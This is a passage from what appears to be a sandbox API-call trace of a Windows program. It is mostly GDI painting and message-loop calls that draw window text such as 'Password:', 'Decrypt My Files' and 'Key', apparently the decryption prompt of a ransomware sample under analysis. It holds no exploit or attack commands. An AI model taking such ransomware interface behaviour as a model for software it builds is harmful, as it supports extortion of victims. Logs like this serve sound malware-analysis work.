GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e7d4) returned 0x0 [0174.235] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.235] LocalFree (hMem=0xf75c20) returned 0x0 [0174.235] GdipCombineRegionRegion (region=0x6926df0, region2=0x6926b00, combineMode=0x1) returned 0x0 [0174.235] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0174.235] LocalFree (hMem=0xf75bb0) returned 0x0 [0174.236] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.236] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x69267f0, result=0x19e7fc) returned 0x0 [0174.236] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x69267f0, result=0x19e7ec) returned 0x0 [0174.236] GdipGetRegionHRgn (region=0x6926df0, graphics=0x69267f0, hRgn=0x19e7ec) returned 0x0 [0174.236] GdipDeleteRegion (region=0x6926df0) returned 0x0 [0174.236] GdipGetDC (graphics=0x69267f0, hdc=0x19e804) returned 0x0 [0174.236] GdipReleaseDC (graphics=0x69267f0, hdc=0x3a010747) returned 0x0 [0174.236] GdipRestoreGraphics (graphics=0x69267f0, state=0xfd020dbd) returned 0x0 [0174.236] GdipDeleteRegion (region=0x6926b00) returned 0x0 [0174.236] GdipGetImageWidth (image=0x6915b28, width=0x19e83c) returned 0x0 [0174.237] GdipGetImageHeight (image=0x6915b28, height=0x19e83c) returned 0x0 [0174.237] GdipDrawImageRectI (graphics=0x69267f0, image=0x6915b28, x=0, y=2, width=32, height=32) returned 0x0 [0174.237] GdipGetDC (graphics=0x69267f0, hdc=0x19e960) returned 0x0 [0174.237] GdipReleaseDC (graphics=0x69267f0, hdc=0x3a010747) returned 0x0 [0174.237] GdipDeleteGraphics (graphics=0x69267f0) returned 0x0 [0174.238] EndPaint (hWnd=0x1024c, lpPaint=0x19e904) returned 1 [0174.238] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.238] IsWindowUnicode (hWnd=0x1024e) returned 1 [0174.238] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.238] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.238] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.239] BeginPaint (in: hWnd=0x1024e, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0174.239] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.239] GetWindowTextLengthW (hWnd=0x1024e) returned 0 [0174.239] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.239] GetSystemMetrics (nIndex=42) returned 0 [0174.239] GetWindowTextW (in: hWnd=0x1024e, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0174.239] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1024e, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0174.239] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.239] EndPaint (hWnd=0x1024e, lpPaint=0x19e8f8) returned 1 [0174.239] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.239] IsWindowUnicode (hWnd=0x10250) returned 1 [0174.239] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.239] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.240] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0174.240] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x10250, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0174.240] SetTextColor (hdc=0x3d010747, color=0xc4c4c4) returned 0x0 [0174.241] SetBkColor (hdc=0x3d010747, color=0x686868) returned 0xffffff [0174.241] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.241] IsWindowUnicode (hWnd=0x10252) returned 1 [0174.241] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.241] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.241] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.241] BeginPaint (in: hWnd=0x10252, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0174.241] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.242] CreateCompatibleDC (hdc=0x10105d6) returned 0x1010749 [0174.242] SelectObject (hdc=0x1010749, h=0x8050721) returned 0x85000f [0174.242] GdipCreateFromHDC (hdc=0x1010749, graphics=0x19e8e4) returned 0x0 [0174.242] GdipTranslateWorldTransform (graphics=0x69267f0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.242] GdipSetClipRectI (graphics=0x69267f0, x=0, y=0, width=251, height=63, combineMode=0x0) returned 0x0 [0174.242] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0174.242] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6926ad0) returned 0x0 [0174.242] GdipIsMatrixIdentity (matrix=0x6926ad0, result=0x19e944) returned 0x0 [0174.242] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0174.242] GdipGetMatrixElements (matrix=0x6926ad0, matrixOut=0xf75be8) returned 0x0 [0174.242] LocalFree (hMem=0xf75be8) returned 0x0 [0174.242] GdipDeleteMatrix (matrix=0x6926ad0) returned 0x0 [0174.242] GdipCreateRegion (region=0x19e92c) returned 0x0 [0174.242] GdipGetClip (graphics=0x69267f0, region=0x6926b00) returned 0x0 [0174.242] GdipIsInfiniteRegion (region=0x6926b00, graphics=0x69267f0, result=0x19e938) returned 0x0 [0174.242] GdipSaveGraphics (graphics=0x69267f0, state=0x19e964) returned 0x0 [0174.243] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0174.243] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0174.243] GetSystemMetrics (nIndex=42) returned 0 [0174.243] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0174.243] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0174.243] GetClientRect (in: hWnd=0x10252, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0174.243] GdipCreateRegion (region=0x19e780) returned 0x0 [0174.243] GdipGetClip (graphics=0x69267f0, region=0x6926df0) returned 0x0 [0174.243] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0174.243] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6915f08) returned 0x0 [0174.243] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0174.243] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.243] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.243] LocalFree (hMem=0xf75c20) returned 0x0 [0174.243] GdipCombineRegionRegion (region=0x6926df0, region2=0x6926b00, combineMode=0x1) returned 0x0 [0174.243] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.243] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.243] LocalFree (hMem=0xf75c20) returned 0x0 [0174.243] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.243] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x69267f0, result=0x19e7c0) returned 0x0 [0174.244] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x69267f0, result=0x19e7b0) returned 0x0 [0174.244] GdipGetRegionHRgn (region=0x6926df0, graphics=0x69267f0, hRgn=0x19e7b0) returned 0x0 [0174.244] GdipDeleteRegion (region=0x6926df0) returned 0x0 [0174.244] GdipGetDC (graphics=0x69267f0, hdc=0x19e7c8) returned 0x0 [0174.244] GetCurrentObject (hdc=0x1010749, type=0x1) returned 0xb00017 [0174.244] GetCurrentObject (hdc=0x1010749, type=0x2) returned 0x900010 [0174.244] GetCurrentObject (hdc=0x1010749, type=0x7) returned 0x8050721 [0174.244] GetCurrentObject (hdc=0x1010749, type=0x6) returned 0x8a01c2 [0174.244] SaveDC (hdc=0x1010749) returned 1 [0174.244] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x960406f7 [0174.244] GetClipRgn (hdc=0x1010749, hrgn=0x960406f7) returned 0 [0174.244] SelectClipRgn (hdc=0x1010749, hrgn=0x60406fe) returned 2 [0174.244] DeleteObject (ho=0x960406f7) returned 1 [0174.244] DeleteObject (ho=0x60406fe) returned 1 [0174.244] OffsetViewportOrgEx (in: hdc=0x1010749, x=0, y=0, lppt=0x307d938 | out: lppt=0x307d938) returned 1 [0174.244] GetNearestColor (hdc=0x1010749, color=0x323533) returned 0x323533 [0174.244] CreateSolidBrush (color=0x323533) returned 0x4b10073a [0174.245] FillRect (hDC=0x1010749, lprc=0x19e7cc, hbr=0x4b10073a) returned 1 [0174.245] DeleteObject (ho=0x4b10073a) returned 1 [0174.245] RestoreDC (hdc=0x1010749, nSavedDC=-1) returned 1 [0174.245] GdipReleaseDC (graphics=0x69267f0, hdc=0x1010749) returned 0x0 [0174.245] GdipRestoreGraphics (graphics=0x69267f0, state=0xfd000dbd) returned 0x0 [0174.245] GdipDeleteRegion (region=0x6926b00) returned 0x0 [0174.245] GetWindowTextLengthW (hWnd=0x10252) returned 9 [0174.245] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0174.245] GetSystemMetrics (nIndex=42) returned 0 [0174.245] GetWindowTextW (in: hWnd=0x10252, lpString=0x19e86c, nMaxCount=10 | out: lpString="Password:") returned 9 [0174.245] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10252, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0174.245] GdipGetDC (graphics=0x69267f0, hdc=0x19e7e8) returned 0x0 [0174.245] GetCurrentObject (hdc=0x1010749, type=0x1) returned 0xb00017 [0174.245] GetCurrentObject (hdc=0x1010749, type=0x2) returned 0x900010 [0174.245] GetCurrentObject (hdc=0x1010749, type=0x7) returned 0x8050721 [0174.245] GetCurrentObject (hdc=0x1010749, type=0x6) returned 0x8a01c2 [0174.245] SaveDC (hdc=0x1010749) returned 1 [0174.245] GetNearestColor (hdc=0x1010749, color=0xf0f0f0) returned 0xf0f0f0 [0174.246] RestoreDC (hdc=0x1010749, nSavedDC=-1) returned 1 [0174.246] GdipReleaseDC (graphics=0x69267f0, hdc=0x1010749) returned 0x0 [0174.246] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0174.246] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0174.246] GdipGetTextRenderingHint (graphics=0x69267f0, mode=0x19e788) returned 0x0 [0174.246] GdipGetDC (graphics=0x69267f0, hdc=0x19e774) returned 0x0 [0174.246] GetCurrentObject (hdc=0x1010749, type=0x1) returned 0xb00017 [0174.246] GetCurrentObject (hdc=0x1010749, type=0x2) returned 0x900010 [0174.246] GetCurrentObject (hdc=0x1010749, type=0x7) returned 0x8050721 [0174.246] GetCurrentObject (hdc=0x1010749, type=0x6) returned 0x8a01c2 [0174.247] SaveDC (hdc=0x1010749) returned 1 [0174.247] GetTextAlign (hdc=0x1010749) returned 0x0 [0174.247] GetTextColor (hdc=0x1010749) returned 0x0 [0174.247] SetTextColor (hdc=0x1010749, color=0xf0f0f0) returned 0x0 [0174.247] GetCurrentObject (hdc=0x1010749, type=0x6) returned 0x8a01c2 [0174.247] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0174.247] SelectObject (hdc=0x1010749, h=0x240a0712) returned 0x8a01c2 [0174.247] GetBkMode (hdc=0x1010749) returned 2 [0174.247] SetBkMode (hdc=0x1010749, mode=1) returned 2 [0174.247] DrawTextExW (in: hdc=0x1010749, lpchText="Password:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x307ddfc | out: lpchText="Password:", lprc=0x19e708) returned 63 [0174.248] RestoreDC (hdc=0x1010749, nSavedDC=-1) returned 1 [0174.248] GdipReleaseDC (graphics=0x69267f0, hdc=0x1010749) returned 0x0 [0174.248] GdipGetDC (graphics=0x69267f0, hdc=0x19e924) returned 0x0 [0174.248] BitBlt (hdc=0x10105d6, x=0, y=0, cx=251, cy=63, hdcSrc=0x1010749, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.248] GdipReleaseDC (graphics=0x69267f0, hdc=0x1010749) returned 0x0 [0174.248] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.248] SelectObject (hdc=0x1010749, h=0x85000f) returned 0x8050721 [0174.248] DeleteDC (hdc=0x1010749) returned 1 [0174.248] GdipDeleteGraphics (graphics=0x69267f0) returned 0x0 [0174.248] EndPaint (hWnd=0x10252, lpPaint=0x19e8c8) returned 1 [0174.249] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.249] IsWindowUnicode (hWnd=0x10254) returned 1 [0174.249] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.249] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.249] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.249] BeginPaint (in: hWnd=0x10254, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x60100ce [0174.249] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.249] CreateCompatibleDC (hdc=0x60100ce) returned 0x3010749 [0174.249] SelectObject (hdc=0x3010749, h=0x8050721) returned 0x85000f [0174.249] GdipCreateFromHDC (hdc=0x3010749, graphics=0x19e8d8) returned 0x0 [0174.249] GdipTranslateWorldTransform (graphics=0x69267f0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0174.249] GdipSetClipRectI (graphics=0x69267f0, x=0, y=0, width=467, height=42, combineMode=0x0) returned 0x0 [0174.249] GdipCreateMatrix (matrix=0x19e920) returned 0x0 [0174.250] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6926ad0) returned 0x0 [0174.250] GdipIsMatrixIdentity (matrix=0x6926ad0, result=0x19e938) returned 0x0 [0174.250] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.250] GdipGetMatrixElements (matrix=0x6926ad0, matrixOut=0xf75c20) returned 0x0 [0174.250] LocalFree (hMem=0xf75c20) returned 0x0 [0174.250] GdipDeleteMatrix (matrix=0x6926ad0) returned 0x0 [0174.250] GdipCreateRegion (region=0x19e920) returned 0x0 [0174.250] GdipGetClip (graphics=0x69267f0, region=0x6926b00) returned 0x0 [0174.250] GdipIsInfiniteRegion (region=0x6926b00, graphics=0x69267f0, result=0x19e92c) returned 0x0 [0174.250] GdipSaveGraphics (graphics=0x69267f0, state=0x19e958) returned 0x0 [0174.250] GdipRestoreGraphics (graphics=0x69267f0, state=0xfcfe0dbd) returned 0x0 [0174.250] GdipDeleteRegion (region=0x6926b00) returned 0x0 [0174.250] GdipGetDC (graphics=0x69267f0, hdc=0x19e660) returned 0x0 [0174.250] GetCurrentObject (hdc=0x3010749, type=0x1) returned 0xb00017 [0174.250] GetCurrentObject (hdc=0x3010749, type=0x2) returned 0x900010 [0174.250] GetCurrentObject (hdc=0x3010749, type=0x7) returned 0x8050721 [0174.250] GetCurrentObject (hdc=0x3010749, type=0x6) returned 0x8a01c2 [0174.251] SaveDC (hdc=0x3010749) returned 1 [0174.251] GetNearestColor (hdc=0x3010749, color=0x323533) returned 0x323533 [0174.269] GetNearestColor (hdc=0x3010749, color=0x111111) returned 0x111111 [0174.270] GetNearestColor (hdc=0x3010749, color=0x0) returned 0x0 [0174.270] GetNearestColor (hdc=0x3010749, color=0x868c88) returned 0x868c88 [0174.270] GetNearestColor (hdc=0x3010749, color=0x111111) returned 0x111111 [0174.270] GetNearestColor (hdc=0x3010749, color=0x969c98) returned 0x969c98 [0174.270] GetNearestColor (hdc=0x3010749, color=0x868c88) returned 0x868c88 [0174.270] GetNearestColor (hdc=0x3010749, color=0x3c3f3d) returned 0x3c3f3d [0174.270] GetNearestColor (hdc=0x3010749, color=0xc4c4c4) returned 0xc4c4c4 [0174.270] RestoreDC (hdc=0x3010749, nSavedDC=-1) returned 1 [0174.270] GdipReleaseDC (graphics=0x69267f0, hdc=0x3010749) returned 0x0 [0174.270] SelectObject (hdc=0x8e0106dd, h=0xc0a0739) returned 0x240a0712 [0174.270] DrawTextExW (in: hdc=0x8e0106dd, lpchText="Decrypt My Files", cchText=16, lprc=0x19e51c, format=0x102415, lpdtp=0x307e2d4 | out: lpchText="Decrypt My Files", lprc=0x19e51c) returned 28 [0174.271] GdipCreateRegion (region=0x19e5a4) returned 0x0 [0174.271] GdipGetClip (graphics=0x69267f0, region=0x6926b00) returned 0x0 [0174.271] GdipCreateMatrix (matrix=0x19e5a4) returned 0x0 [0174.271] GdipGetWorldTransform (graphics=0x69267f0, matrix=0x6915f08) returned 0x0 [0174.271] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e5bc) returned 0x0 [0174.271] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75be8 [0174.271] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0174.271] LocalFree (hMem=0xf75be8) returned 0x0 [0174.271] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0174.271] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0174.271] LocalFree (hMem=0xf75c20) returned 0x0 [0174.271] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0174.271] GdipIsInfiniteRegion (region=0x6926b00, graphics=0x69267f0, result=0x19e5e4) returned 0x0 [0174.271] GdipIsInfiniteRegion (region=0x6926b00, graphics=0x69267f0, result=0x19e5d4) returned 0x0 [0174.271] GdipGetRegionHRgn (region=0x6926b00, graphics=0x69267f0, hRgn=0x19e5d4) returned 0x0 [0174.272] GdipDeleteRegion (region=0x6926b00) returned 0x0 [0174.272] GdipGetDC (graphics=0x69267f0, hdc=0x19e5ec) returned 0x0 [0174.272] GetCurrentObject (hdc=0x3010749, type=0x1) returned 0xb00017 [0174.272] GetCurrentObject (hdc=0x3010749, type=0x2) returned 0x900010 [0174.272] GetCurrentObject (hdc=0x3010749, type=0x7) returned 0x8050721 [0174.272] GetCurrentObject (hdc=0x3010749, type=0x6) returned 0x8a01c2 [0174.272] SaveDC (hdc=0x3010749) returned 1 [0174.272] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x70406fe [0174.272] GetClipRgn (hdc=0x3010749, hrgn=0x70406fe) returned 0 [0174.272] SelectClipRgn (hdc=0x3010749, hrgn=0x990406f7) returned 2 [0174.272] DeleteObject (ho=0x70406fe) returned 1 [0174.272] DeleteObject (ho=0x990406f7) returned 1 [0174.272] OffsetViewportOrgEx (in: hdc=0x3010749, x=0, y=0, lppt=0x307e4c4 | out: lppt=0x307e4c4) returned 1 [0174.272] GetNearestColor (hdc=0x3010749, color=0x323533) returned 0x323533 [0174.272] CreateSolidBrush (color=0x323533) returned 0x4c10073a [0174.272] FillRect (hDC=0x3010749, lprc=0x19e5f0, hbr=0x4c10073a) returned 1 [0174.273] DeleteObject (ho=0x4c10073a) returned 1 [0174.273] RestoreDC (hdc=0x3010749, nSavedDC=-1) returned 1 [0174.273] GdipReleaseDC (graphics=0x69267f0, hdc=0x3010749) returned 0x0 [0174.273] GdipGetTextRenderingHint (graphics=0x69267f0, mode=0x19e668) returned 0x0 [0174.273] GdipGetDC (graphics=0x69267f0, hdc=0x19e654) returned 0x0 [0174.273] GetCurrentObject (hdc=0x3010749, type=0x1) returned 0xb00017 [0174.273] GetCurrentObject (hdc=0x3010749, type=0x2) returned 0x900010 [0174.273] GetCurrentObject (hdc=0x3010749, type=0x7) returned 0x8050721 [0174.273] GetCurrentObject (hdc=0x3010749, type=0x6) returned 0x8a01c2 [0174.273] SaveDC (hdc=0x3010749) returned 1 [0174.273] GetTextAlign (hdc=0x3010749) returned 0x0 [0174.273] GetTextColor (hdc=0x3010749) returned 0x0 [0174.273] SetTextColor (hdc=0x3010749, color=0x111111) returned 0x0 [0174.273] GetCurrentObject (hdc=0x3010749, type=0x6) returned 0x8a01c2 [0174.273] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e39c | out: pv=0x19e39c) returned 92 [0174.273] SelectObject (hdc=0x3010749, h=0xc0a0739) returned 0x8a01c2 [0174.274] GetBkMode (hdc=0x3010749) returned 2 [0174.274] SetBkMode (hdc=0x3010749, mode=1) returned 2 [0174.274] DrawTextExW (in: hdc=0x3010749, lpchText="Decrypt My Files", cchText=16, lprc=0x19e484, format=0x102415, lpdtp=0x307e780 | out: lpchText="Decrypt My Files", lprc=0x19e484) returned 28 [0174.274] DrawTextExW (in: hdc=0x3010749, lpchText="Decrypt My Files", cchText=16, lprc=0x19e5e8, format=0x102015, lpdtp=0x307e780 | out: lpchText="Decrypt My Files", lprc=0x19e5e8) returned 28 [0174.275] RestoreDC (hdc=0x3010749, nSavedDC=-1) returned 1 [0174.275] GdipReleaseDC (graphics=0x69267f0, hdc=0x3010749) returned 0x0 [0174.275] GetFocus () returned 0x30212 [0174.275] GdipCreatePen1 (color=0xff007acc, width=0x3f800000, unit=0x0, pen=0x19e6d0) returned 0x0 [0174.275] GdipDrawRectangleI (graphics=0x69267f0, pen=0x6915e78, x=0, y=0, width=466, height=41) returned 0x0 [0174.275] GdipDeletePen (pen=0x6915e78) returned 0x0 [0174.275] GdipGetDC (graphics=0x69267f0, hdc=0x19e918) returned 0x0 [0174.275] BitBlt (hdc=0x60100ce, x=0, y=0, cx=467, cy=42, hdcSrc=0x3010749, x1=0, y1=0, rop=0xcc0020) returned 1 [0174.275] GdipReleaseDC (graphics=0x69267f0, hdc=0x3010749) returned 0x0 [0174.275] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.275] SelectObject (hdc=0x3010749, h=0x85000f) returned 0x8050721 [0174.275] DeleteDC (hdc=0x3010749) returned 1 [0174.275] GdipDeleteGraphics (graphics=0x69267f0) returned 0x0 [0174.276] EndPaint (hWnd=0x10254, lpPaint=0x19e8bc) returned 1 [0174.276] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.276] IsWindowUnicode (hWnd=0x10256) returned 1 [0174.276] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.276] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.276] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.276] BeginPaint (in: hWnd=0x10256, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1e0106e1 [0174.276] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.276] GetWindowTextLengthW (hWnd=0x10256) returned 3 [0174.276] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x3 [0174.276] GetSystemMetrics (nIndex=42) returned 0 [0174.276] GetWindowTextW (in: hWnd=0x10256, lpString=0x19e888, nMaxCount=4 | out: lpString="Key") returned 3 [0174.276] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10256, Msg=0xd, wParam=0x4, lParam=0x19e888) returned 0x3 [0174.277] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.277] EndPaint (hWnd=0x10256, lpPaint=0x19e8e4) returned 1 [0174.277] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.277] IsWindowUnicode (hWnd=0x10258) returned 1 [0174.277] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.278] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.278] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.278] BeginPaint (in: hWnd=0x10258, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0174.278] EndPaint (hWnd=0x10258, lpPaint=0x19e8c8) returned 1 [0174.278] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.278] IsWindowUnicode (hWnd=0x1025a) returned 1 [0174.278] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.278] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.278] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.278] BeginPaint (in: hWnd=0x1025a, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x10105d6 [0174.278] EndPaint (hWnd=0x1025a, lpPaint=0x19e904) returned 1 [0174.279] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.279] IsWindowUnicode (hWnd=0x1025c) returned 1 [0174.279] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.279] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.279] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.279] BeginPaint (in: hWnd=0x1025c, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x60100ce [0174.279] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0174.279] GetWindowTextLengthW (hWnd=0x1025c) returned 0 [0174.279] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0174.279] GetSystemMetrics (nIndex=42) returned 0 [0174.279] GetWindowTextW (in: hWnd=0x1025c, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0174.279] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1025c, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0174.279] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0174.279] EndPaint (hWnd=0x1025c, lpPaint=0x19e8f8) returned 1 [0174.280] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.280] IsWindowUnicode (hWnd=0x1025e) returned 1 [0174.280] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.280] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.280] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0174.280] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1025e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0174.280] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.280] IsWindowUnicode (hWnd=0x10260) returned 1 [0174.280] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0174.280] TranslateMessage (lpMsg=0x19ee78) returned 0 [0174.280] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0174.281] BeginPaint (in: hWnd=0x10260, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0174.281] EndPaint (hWnd=0x10260, lpPaint=0x19e8c8) returned 1 [0174.281] PeekMessageW 